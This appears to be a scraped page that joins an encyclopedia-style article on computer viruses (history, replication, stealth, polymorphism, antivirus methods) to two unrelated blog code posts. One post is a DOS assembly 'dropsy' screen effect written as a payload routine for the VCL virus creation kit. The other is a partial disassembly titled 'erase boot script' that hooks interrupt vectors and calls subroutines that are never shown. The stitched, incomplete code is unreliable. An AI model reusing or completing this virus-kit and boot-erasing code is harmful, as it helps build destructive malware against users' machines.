A program called "Elk Cloner" is credited with being the first computer virus to appear "in the wild" -- that is, outside the single computer or lab where it was created. Written in 1982 by Rich Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread by floppy disk. This virus was originally a joke, created by the highschooler and put onto a game. The game was set to play, but release the virus on the 50th time of starting the game. On this time, it would instead of playing the game change to a blank screen that read a poem about the virus named Elk Cloner. The computer would then be infected.

The first PC virus was a boot sector virus called (c)Brain, created in 1986 by two brothers, Basit and Amjad Farooq Alvi, operating out of Lahore, Pakistan. The brothers reportedly created the virus to deter pirated copies of software they had written. However, analysts have claimed that the Ashar virus, a variant of Brain, possibly predated it based on code within the virus.

Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of personal computers, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk.

Traditional computer viruses were mostly first seen at the last half of the 1980s, and they came about because of a few reasons. “The first reason was the spread of personal computers. Prior to the 1980s, home computers were nearly non-existent or they were toys. Real computers were rare, and they were locked away for use by "experts." During the 1980s, real computers started to spread to businesses and homes because of popularity. By the late 1980s, PCs were widespread in businesses, homes and college campuses.

The second reason was the use of bulletin boards on the computer. People could dial up a bulletin board with a modem and download all sorts of different programs. Most popular were games, and then simple word processors, spreadsheets, etc. Bulletin boards led to what is now known as the virus called a Trojan horse. The third reason that led to the creation of viruses was most definitely the floppy disk. At the end of the 1980s, programs were very small, and one could fit the operating system, a word processor and many documents onto a single floppy disk. Most computers didn’t have hard disks, so one would turn on one's computer and it would load the operating system and everything else straight from the floppy disk. Viruses took advantage of these three facts to create the first self-replicating programs.

As bulletin board systems and online software exchange became popular in the late 1980s and early 1990s, more viruses were written to infect popularly traded software. Shareware and bootleg software were equally common vectors for viruses on BBSes. Within the "pirate scene" of hobbyists trading illicit copies of commercial software, traders in a hurry to obtain the latest applications and games were easy targets for viruses.

Since the mid-1990s, macro viruses have become common. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel. These viruses spread in Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most of these viruses were able to spread on Macintosh computers as well. Numerically, most of these viruses did not have the ability to send infected e-mail. The ones that did usually worked by accessing the Microsoft Outlook COM interface.

Macro viruses pose unique problems for detection software. For example, some versions of Microsoft Word caused macros to replicate themselves with additional blank lines. The virus behaved identically but would be misidentified as a new virus. In another example, if two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a "mating" of the two and would likely be detected as a virus unique from the "parents".^[2]

A computer virus may also be transmitted through instant messaging. A virus may send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) and follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.

[edit]

Why people create computer viruses

Unlike biological viruses, computer viruses do not simply evolve by themselves. Computer viruses cannot come into existence spontaneously, nor can they be created by bugs in regular programs. They are deliberately created by programmers, or by people who use virus creation software. It is possible that copying errors and recombination may lead to the actual evolution of a computer virus; however, the possibility of this type of 'digital evolution' is extremely remote.

Virus writers can have various reasons for creating and spreading malware. Viruses have been written as research projects, pranks, vandalism, to attack the products of specific companies, to distribute political messages, and financial gain from identity theft, spyware, and cryptoviral extortion. Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby. Additionally, many virus writers oppose deliberately destructive payload routines. Some viruses were intended as "good viruses". They spread improvements to the programs they infect, or delete other viruses. These viruses are, however, quite rare, still consume system resources, may accidentally damage systems they infect, and, on occasion, have become infected and acted as vectors for malicious viruses. A poorly-written "good virus" can also inadvertently become a virus in and of itself (for example, such a 'good virus' may misidentify its target file and delete an innocent system file by mistake). Moreover, they normally operate without asking for permission of the owner of the computer. Since self-replicating code causes many complications, it is questionable if a well-intentioned virus can ever solve a problem in a way which is superior to a regular program that does not replicate itself.

Releasing computer viruses (as well as worms) is a crime in most jurisdictions.

Replication strategies

In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus' code may be executed first. Viruses can be divided into two types, on the basis of their behavior when they are executed. Nonresident viruses immediately search for other hosts that can be infected, infect these targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself.

[edit]

Nonresident viruses

Nonresident viruses can be thought of as consisting of a finder module and a replication module. The finder module is responsible for finding new files to infect. For each new executable file the finder module encounters, it calls the replication module to infect that file.

For simple viruses the replicator's tasks is to:

Open the new file
Check if the executable file has already been infected (if it is, return to the finder module)
Append the virus code to the executable file
Save the executable's starting point
Change the executable's starting point so that it points to the start location of the newly copied virus code
Save the old start location to the virus in a way so that the virus branches to that location right after its execution.
Save the changes to the executable file
Close the infected file
Return to the finder so that it can find new files for the replicator to infect.

[edit]

Resident viruses

Resident viruses contain a replication module that is similar to the one that is employed by nonresident viruses. However, this module is not called by a finder module. Instead, the virus loads the replication module into memory when it is executed and ensures that this module is executed each time the operating system is called to perform a certain operation. For example, the replication module can get called each time the operating system executes a file. In this case, the virus infects every suitable program that is executed on the computer.

Resident viruses are sometimes subdivided into a category of fast infectors and a category of slow infectors. Fast infectors are designed to infect as many files as possible. For instance, a fast infector can infect every potential host file that is accessed. This poses a special problem to anti-virus software, since a virus scanner will access every potential host file on a computer when it performs a system-wide scan. If the virus scanner fails to notice that such a virus is present in memory, the virus can "piggy-back" on the virus scanner and in this way infect all files that are scanned. Fast infectors rely on their fast infection rate to spread. The disadvantage of this method is that infecting many files may make detection more likely, because the virus may slow down a computer or perform many suspicious actions that can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect hosts infrequently. For instance, some slow infectors only infect files when they are copied. Slow infectors are designed to avoid detection by limiting their actions: they are less likely to slow down a computer noticeably, and will at most infrequently trigger anti-virus software that detects suspicious behavior by programs. The slow infector approach doesn't seem very successful however. Virus that are common in the wild are mostly relatively fast to extremely fast infectors.

[edit]

Host types

Viruses have targeted various types of hosts. This is a non-exhaustive list:

Binary executable files (such as COM-files and EXE-files in MS-DOS, Portable Executable files in Microsoft Windows, and ELF files in Linux)
Volume boot records of floppy disks and hard disk partitions
The master boot record of a harddisk
General-purpose script files (such as batch files in MS-DOS and Microsoft Windows, VBScript files, and shell script files on Unix-like platforms).
Application-specific script files (such as Telix-scripts)
Documents that can contain macros (such as Microsoft Word documents, Microsoft Excel spreadsheets, AmiPro documents, and Microsoft Access database files)

[edit]

Companion viruses

A few older viruses called companion viruses^[4] do not have host files per se, but exploit MS-DOS. A companion virus creates new files (typically .COM but can also use other extensions such as ".EXD") that have the same file names as legitimate .EXE files. When a user types in the name of a desired program, if he does not type in ".EXE" but instead does not specify a file extension, DOS will assume he meant the file with the extension that comes first in alphabetical order and run the virus. For instance, if a user had "(filename).COM" (the virus) and "(filename).EXE" and the user typed "filename", he will run "(filename).COM" and run the virus. The virus will spread and do other tasks before redirecting to the legitimate file, which operates normally. Some companion viruses are known to run under Windows 95 and on DOS emulators on Windows NT systems. Path companion viruses create files that have the same name as the legitimate file and place new virus copies earlier in the directory paths. These viruses have become increasingly rare with the introduction of Windows XP, which does not use the MS-DOS command prompt per se.

[edit]

Methods to avoid detection

In order to avoid detection by users, some viruses employ different kinds of deception. Some old viruses, especially on the MS-DOS platform, make sure that the "last modified" date of a host file stays the same when the file is infected by the virus. This approach does not fool anti-virus software, however.

Some viruses can infect files without increasing their sizes or damaging the files. They accomplish this by overwriting unused areas of executable files. These are called cavity viruses. For example the CIH virus, or Chernobyl Virus, infects Portable Executable files. Because those files had many empty gaps, the virus, which was 1 KiB in length, did not add to the size of the file.

Recent viruses avoid any kind of detection attempt by attempting to forcefully kill the tasks associated with the virus scanner before it can detect them.

As computers and operating systems grow larger and more complex, old hiding techniques need to be updated or replaced.

[edit]

Avoiding bait files and other undesirable hosts

A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of hosts that viruses sometimes avoid is bait files. Bait files (or goat files) are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus:

Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small infected bait file, than to exchange a large application program that has been infected by the virus.
Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is polymorphic. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus.
Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system.

Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.

A related strategy to make baiting difficult is sparse infection. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.

[edit]

Stealth

Some viruses try to trick anti-virus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the OS. The virus can then return an uninfected version of the file to the anti-virus software, so that it seems that the file is "clean". Modern anti-virus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean.

[edit]

Self-modification

Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called virus signatures. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) "clean" or "heal" the infected file. Some viruses employ techniques that make detection by means of signatures difficult or impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus.

[edit]

Simple self-modifications

In the past, some viruses modified themselves only in fairly simple ways. For example, they regularly exchanged subroutines in their code for others that would perform the same action - for example, 2+2 could be swapped for 1+3. This poses no problems to a somewhat advanced virus scanner.

[edit]

Encryption with a variable key

A more advanced method is the use of simple encryption to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module, which would (for example) be appended to the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible.

Mostly, the decryption techniques that these viruses employ are fairly simple and mostly done by just xoring each byte with a randomized key that was saved by the parent virus. The use of XOR-operations has the additional advantage that the encryption and decryption routine are the same (a xor b = c, c xor b = a.)

[edit]

Polymorphic code

Polymorphic code was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts that stay the same on each infection, making it impossible to detect directly using signatures. Anti-virus software can detect it by decrypting the viruses using an emulator, or by statistical pattern analysis of the encrypted virus body. To enable polymorphic code, the virus has to have a polymorphic engine (also called mutating engine or mutation engine) somewhere in its encrypted body. See Polymorphic code for technical detail on how such engines operate.

Some viruses employ polymorphic code in a way which constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such slow polymorphic code is that it makes it more difficult for anti-virus professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that, as a result of this, some instances of the virus may be able to avoid detection.

[edit]

Metamorphic code

To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that use this technique are said to be metamorphic. To enable metamorphism, a metamorphic engine is needed. A metamorphic virus is usually very large and complex. For example, W32/Simile consisted of over 14000 lines of Assembly language code, 90% of it part of the metamorphic engine.

[edit]

Viruses and legitimate software

[edit]

The vulnerability of operating systems to viruses

Another analogy to biological viruses: just as genetic diversity in a population decreases the chance of a single disease wiping out a population, the diversity of software systems on a network similarly limits the destructive potential of viruses.

This became a particular concern in the 1990s, when Microsoft gained market dominance in desktop operating systems and office suites. Users who use Microsoft software (especially networking software such as Microsoft Outlook and Internet Explorer) are especially vulnerable to the spread of viruses. Microsoft software is targeted by virus writers due to their desktop dominance, and is often criticized for including many errors and holes for virus writers to exploit. Integrated applications, applications with scripting languages with access to the file system (for example Visual Basic Script (VBS), and applications with networking features) are also particularly vulnerable.

Although Windows is by far the most popular operating system for virus writers, some viruses also exist on other platforms. Any operating system that allows third-party programs to run can theoretically run viruses. Some operating systems are less secure than others. Unix-based OSes (and NTFS-aware applications on Windows NT based platforms) only allow their users to run executables within their protected space in their own directories.

As of 2006, there are relatively few security exploits ^[5] targeting Mac OS X (a Unix-based operating system); the known vulnerabilities fall under the classifications of worms and trojans. The number of viruses for the older Apple operating systems, known as Mac OS Classic, varies greatly from source to source, with Apple stating that there are only four known viruses, and independent sources stating there are as many as 63 viruses. However, Mac users are advised to install anti-virus software, because they can accidentally pass on a file which is infected with a Windows virus or trojan. While this malware does not affect the Mac, it can infect a Windows PC. It is safe to say that Macs are less likely to be exploited due to its secure Unix base. Virus vulnerability between Macs and Windows was/is a chief catalyst of the platform wars between Apple Computers and Microsoft.

Windows and Unix have similar scripting abilities, but while Unix natively blocks normal users from having access to make changes to the operating system environment, Windows does not. In 1997, when a virus for Linux was released – known as "Bliss" – leading antivirus vendors issued warnings that Unix-like systems could fall prey to viruses just like Windows.^[6] The Bliss virus may be considered characteristic of viruses – as opposed to worms – on Unix systems. Bliss requires that the user run it explicitly, and it can only infect programs that the user has the access to modify. Unlike Windows users, most Unix users do not log in as the administrator user except to install or configure software; as a result, even if a user ran the virus, it could not harm their operating system. The Bliss virus never became widespread, and remains chiefly a research curiosity. Its creator later posted the source code to Usenet, allowing researchers to see how it worked.^[7]

[edit]

The role of software development

Because software is often designed with security features to prevent unauthorized use of system resources, many viruses must exploit software bugs in a system or application to spread. Software development strategies which produce large numbers of bugs will generally also produce potential exploits.

Closed-source software development, as practiced by Microsoft and other proprietary software companies, is seen by many as a security weakness. Open source software such as Linux, for example, allows all users to look for and fix security problems without relying on a single vendor. Some advocate that proprietary software makers practice vulnerability disclosure to improve this weakness.

On the other hand, some claim that open source development exposes potential security problems to virus writers, hence increases in the prevalence of exploits. They counter claims that popular closed source systems such as Windows are often exploited by claiming that these systems are only commonly exploited due to their popularity and the potential widespread effect such an exploit will have.

[edit]

Anti-virus software and other countermeasures

There are two common methods which an anti-virus software application uses to detect viruses. The first method is to use a heuristic algorithm (Heuristic (computer science)) to find viruses based on common behaviors. This method has the potential abilitiy to detect viruses which may not be discovered by anti-virus security firms. The second and most common method of virus detection is to create a list of virus signature definitions. The disadvantage of this detection method is that users are only protected up until their last virus definition update. Many users install anti-virus software that can detect and eliminate known viruses after the computer downloads or runs the executable. They work by examining the content heuristics of the computer's memory (its RAM, and boot sectors) and the files stored on fixed or removable drives (hard drives, floppy drives), and comparing those files against a database of known virus "signatures". Some anti-virus programs are able to scan opened files in addition to sent and received emails 'on the fly' in a similar manner. This practice is known as "on-access scanning." Anti-virus software does not change the underlying capability of host software to transmit viruses. There have been attempts to do this but adoption of such anti-virus solutions can void the warranty for the host software. Users must therefore update their software regularly to patch security holes. Anti-virus software also needs to be regularly updated in order to gain knowledge about the latest threats and hoaxes and disterbance.

dropsy source code

2006-09-18T15:18:00.000+07:00

;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using
;VCL recommended switches. When screen is thoroughly dropsie'd, that is all
;letters have fallen to a single line across the bottom of the monitor,
;the routine will exit to DOS and restore the command prompt. I excerpted
;quite a bit of this from some public domain video routines optimized for
;the accursed a86 assembler and reworked the whole magilla until TASM
;wouldn't choke when swallowing the source. It attempts to meet
;minimum requirements for VCL formatting. Heck, this is a nice routine
;to have at your fingertips; you gotta admit a CASCADE-virus-like effect
;is always something people wanna see. And it's commented up the
;kazoo, one of the features I like best about VCL code. Hope you find
;it useful. -URNST KOUCH

code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h

jmp Start

main proc near

Row dw 24 ;Rows to do initially

;First, get current video mode and page.
Start: mov cx,0B800h ;color display, color video mem for page 1
mov ah,15 ;Get current video mode
int 10h
cmp al,2 ;Color?
je A2 ;Yes
cmp al,3 ;Color?
je A2 ;Yes
cmp al,7 ;Mono?
je A1 ;Yes
int 20h ;No,quit

;here if 80 col text mode; put video segment in ds.
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
A2: mov bl,0 ;bx=page offset
add cx,bx ;Video segment
mov ds,cx ;in ds

;start dropsy effect
xor bx,bx ;Start at top left corner
A3: push bx ;Save row start on stack
mov bp,80 ;Reset column counter
;Do next column in a row.
A4: mov si,bx ;Set row top in si
mov ax,[si] ;Get char & attr from screen
cmp al,20h ;Is it a blank?
je A7 ;Yes, skip it
mov dx,ax ;No, save it in dx
mov al,20h ;Make it a space
mov [si],ax ;and put on screen
add si,160 ;Set for next row
mov di,cs:Row ;Get rows remaining
A5: mov ax,[si] ;Get the char & attr from screen
mov [si],dx ;Put top row char & attr there
A6: call Vert ;Wait for 2 vert retraces
mov [si],ax ;Put original char & attr back
;Do next row, this column.
add si,160 ;Next row
dec di ;Done all rows remaining?
jne A5 ;No, do next one
mov [si-160],dx ;Put char & attr on line 25 as junk
;Do next column on this row.
A7: add bx,2 ;Next column, same row
dec bp ;Dec column counter; done?
jne A4 ;No, do this column
;Do next row.
A8: pop bx ;Get current row start
add bx,160 ;Next row
dec cs:Row ;All rows done?
jne A3 ;No
A9: mov ax,4C00h
int 21h ;Yes, quit to DOS with error code

;routine to deal with snow on CGA screen.
Vert: push ax
push dx
push cx ;Save all registers used
mov cl,2 ;Wait for 2 vert retraces
mov dx,3DAh ;CRT status port
F1: in al,dx ;Read status
test al,8 ;Vert retrace went hi?
je F1 ;No, wait for it
dec cl ;2nd one?
je F3 ;Yes, write during blanking time
F2: in al,dx ;No, get status
test al,8 ;Vert retrace went low?
jne F2 ;No, wait for it
jmp F1 ;Yes, wait for next hi
F3: pop cx
pop dx
pop ax ;Restore registers
ret ;and return

main endp
code ends
end main

erase boot script

2006-09-18T14:55:00.000+07:00

DATA_1E EQU 74H ; (0000:0074=0A4H)
DATA_2E EQU 78H ; (0000:0078=22H)
DATA_3E EQU 7CH ; (0000:007C=0)
DATA_4E EQU 80H ; (0000:0080=0F5H)
DATA_5E EQU 84H ; (0000:0084=9CEH)
DATA_6E EQU 86H ; (0000:0086=13C7H)
DATA_7E EQU 88H ; (0000:0088=723H)
DATA_8E EQU 8AH ; (0000:008A=23EAH)
DATA_9E EQU 8CH ; (0000:008C=0A70H)
DATA_10E EQU 8EH ; (0000:008E=23EAH)
DATA_11E EQU 94H ; (0000:0094=192FH)
DATA_12E EQU 98H ; (0000:0098=198CH)
DATA_13E EQU 9AH ; (0000:009A=27DH)
DATA_14E EQU 9EH ; (0000:009E=27DH)
DATA_15E EQU 232H ; (0000:0232=0)
DATA_16E EQU 234H ; (0000:0234=0)
DATA_17E EQU 236H ; (0000:0236=0)
DATA_18E EQU 23CH ; (0000:023C=0)
DATA_19E EQU 458H ; (0000:0458=0)
DATA_20E EQU 45AH ; (0000:045A=0)
DATA_21E EQU 464H ; (0000:0464=2903H)
DATA_22E EQU 4A4H ; (0000:04A4=0)
DATA_23E EQU 4A6H ; (0000:04A6=0)
DATA_24E EQU 4A8H ; (0000:04A8=0)
DATA_25E EQU 2 ; (7FC4:0002=0)
DATA_26E EQU 2CH ; (7FC4:002C=0)
DATA_27E EQU 94H ; (7FC4:0094=0)
DATA_28E EQU 9EH ; (7FC4:009E=0)
DATA_29E EQU 1D6H ; (7FC4:01D6=0CD57H)
DATA_30E EQU 1D8H ; (7FC4:01D8=21H)
DATA_31E EQU 232H ; (7FC4:0232=2FB9H)
DATA_32E EQU 37EH ; (7FC4:037E=50FFH)
DATA_33E EQU 3A6H ; (7FC4:03A6=8D50H)
DATA_34E EQU 3A8H ; (7FC4:03A8=0AE46H)
DATA_35E EQU 4A4H ; (7FC4:04A4=0AC26H)
DATA_36E EQU 4A6H ; (7FC4:04A6=8C40H)
DATA_37E EQU 4A8H ; (7FC4:04A8=87C5H)
DATA_123E EQU 0FF67H ; (8134:FF67=0)
DATA_124E EQU 0FF70H ; (8134:FF70=0)
DATA_126E EQU 0FF6AH ; (817F:FF6A=0)
DATA_127E EQU 0FF6CH ; (817F:FF6C=0)
DATA_128E EQU 0FF6EH ; (817F:FF6E=0)
DATA_129E EQU 0FF6FH ; (817F:FF6F=0)
DATA_130E EQU 0FF70H ; (817F:FF70=0)
DATA_131E EQU 0FF72H ; (817F:FF72=0)
DATA_132E EQU 0FF75H ; (817F:FF75=0)
DATA_133E EQU 0FF76H ; (817F:FF76=0)
DATA_134E EQU 0FF78H ; (817F:FF78=0)
DATA_135E EQU 0FF7BH ; (817F:FF7B=0)
DATA_136E EQU 0FF7CH ; (817F:FF7C=0)

;-------------------------------------------------------------- SEG_A ----

SEG_A SEGMENT PARA PUBLIC
ASSUME CS:SEG_A , DS:SEG_A , SS:STACK_SEG_C

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_1 PROC NEAR
SUB_1 ENDP

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; PROGRAM ENTRY POINT
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

MAXIHD PROC FAR

start:
MOV DX,SEG SEG_B
MOV CS:DATA_38,DX ; (7FD4:01F8=0)
MOV AH,30H ; '0'
INT 21H ; DOS Services ah=function 30h
; get DOS version number ax
MOV BP,DS:DATA_25E ; (7FC4:0002=0)
MOV BX,DS:DATA_26E ; (7FC4:002C=0)
MOV DS,DX
assume ds:SEG_B
MOV DATA_77,AX ; (8134:0092=0)
MOV DATA_76,ES ; (8134:0090=0)
MOV WORD PTR DATA_73+2,BX ; (8134:008C=0)
MOV DATA_84,BP ; (8134:00AC=0)
MOV DATA_79,0FFFFH ; (8134:0096=0)
CALL SUB_3 ; (0162)
LES DI,DATA_73 ; (8134:008A=0) Load 32 bit ptr
MOV AX,DI
MOV BX,AX
MOV CX,7FFFH
LOC_2:
CMP WORD PTR ES:[DI],3738H
JNE LOC_3 ; Jump if not equal
MOV DX,ES:[DI+2]
CMP DL,3DH ; '='
JNE LOC_3 ; Jump if not equal
AND DH,0DFH
INC DATA_79 ; (8134:0096=0)
CMP DH,59H ; 'Y'
JNE LOC_3 ; Jump if not equal
INC DATA_79 ; (8134:0096=0)
LOC_3:
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_6 ; Jump if cx=0
INC BX
CMP ES:[DI],AL
JNE LOC_2 ; Jump if not equal
OR CH,80H
NEG CX
MOV WORD PTR DATA_73,CX ; (8134:008A=0)
MOV CX,1
SHL BX,CL ; Shift w/zeros fill
ADD BX,8
AND BX,0FFF8H
MOV DATA_75,BX ; (8134:008E=0)
MOV DX,DS
SUB BP,DX
MOV DI,DATA_89 ; (8134:023A=1000H)
CMP DI,200H
JAE LOC_4 ; Jump if above or =
MOV DI,200H
MOV DATA_89,DI ; (8134:023A=1000H)
LOC_4:
ADD DI,4AAH
JC LOC_6 ; Jump if carry Set
ADD DI,DATA_88 ; (8134:0238=0)
JC LOC_6 ; Jump if carry Set
MOV CL,4
SHR DI,CL ; Shift w/zeros fill
INC DI
CMP BP,DI
JB LOC_6 ; Jump if below
CMP DATA_89,0 ; (8134:023A=1000H)
JE LOC_5 ; Jump if equal
CMP DATA_88,0 ; (8134:0238=0)
JNE LOC_7 ; Jump if not equal
LOC_5:
MOV DI,1000H
CMP BP,DI
JA LOC_7 ; Jump if above
MOV DI,BP
JMP SHORT LOC_7 ; (00C1)
LOC_6:
JMP LOC_10 ; (01E2)
LOC_7:
MOV BX,DI
ADD BX,DX
MOV DATA_82,BX ; (8134:00A4=0)
MOV DATA_83,BX ; (8134:00A8=0)
MOV AX,DATA_76 ; (8134:0090=0)
SUB BX,AX
MOV ES,AX
MOV AH,4AH ; 'J'
PUSH DI
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
POP DI
SHL DI,CL ; Shift w/zeros fill
CLI ; Disable interrupts
MOV SS,DX
MOV SP,DI
STI ; Enable interrupts
XOR AX,AX ; Zero register
MOV ES,CS:DATA_38 ; (7FD4:01F8=0)
MOV DI,464H
MOV CX,4AAH
SUB CX,DI
REP STOSB ; Rep while cx>0 Store al to es:[di]
PUSH CS
CALL WORD PTR DATA_117 ; (8134:0456=1D2H)
CALL SUB_12 ; (0390)
CALL SUB_14 ; (047B)
MOV AH,0
INT 1AH ; Real time clock ah=func 00h
; get system timer count cx,dx
MOV DS:DATA_12E,DX ; (0000:0098=198CH)
MOV DS:DATA_13E,CX ; (0000:009A=27DH)
CALL WORD PTR DS:DATA_20E ; (0000:045A=0)
PUSH WORD PTR DS:DATA_7E ; (0000:0088=723H)
PUSH WORD PTR DS:DATA_6E ; (0000:0086=13C7H)
PUSH WORD PTR DS:DATA_5E ; (0000:0084=9CEH)
CALL SUB_6 ; (01FA)
PUSH AX
CALL SUB_11 ; (035B)

MAXIHD ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_2 PROC NEAR
MOV DS,CS:DATA_38 ; (7FD4:01F8=0)
CALL SUB_4 ; (01A5)
PUSH CS
CALL WORD PTR DS:DATA_19E ; (0000:0458=0)
XOR AX,AX ; Zero register
MOV SI,AX
MOV CX,2FH
NOP
CLD ; Clear direction

LOCLOOP_8:
ADD AL,[SI]
ADC AH,0
INC SI
LOOP LOCLOOP_8 ; Loop if cx > 0

SUB AX,0D37H
NOP
JZ LOC_9 ; Jump if zero
MOV CX,19H
NOP
MOV DX,2FH
CALL SUB_5 ; (01DA)
LOC_9:
MOV BP,SP
MOV AH,4CH ; 'L'
MOV AL,[BP+2]
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
SUB_2 ENDP

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

INT_00H_ENTRY PROC FAR
MOV CX,0EH
NOP
MOV DX,48H
JMP LOC_11 ; (01E9)
INT_00H_ENTRY ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_3 PROC NEAR
PUSH DS
MOV AX,3500H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_65,BX ; (8134:0074=0)
MOV DATA_66,ES ; (8134:0076=0)
MOV AX,3504H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_67,BX ; (8134:0078=0)
MOV DATA_68,ES ; (8134:007A=0)
MOV AX,3505H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_69,BX ; (8134:007C=0)
MOV DATA_70,ES ; (8134:007E=0)
MOV AX,3506H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_71,BX ; (8134:0080=0)
MOV DATA_72,ES ; (8134:0082=0)
MOV AX,2500H
MOV DX,CS
MOV DS,DX
MOV DX,158H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_3 ENDP

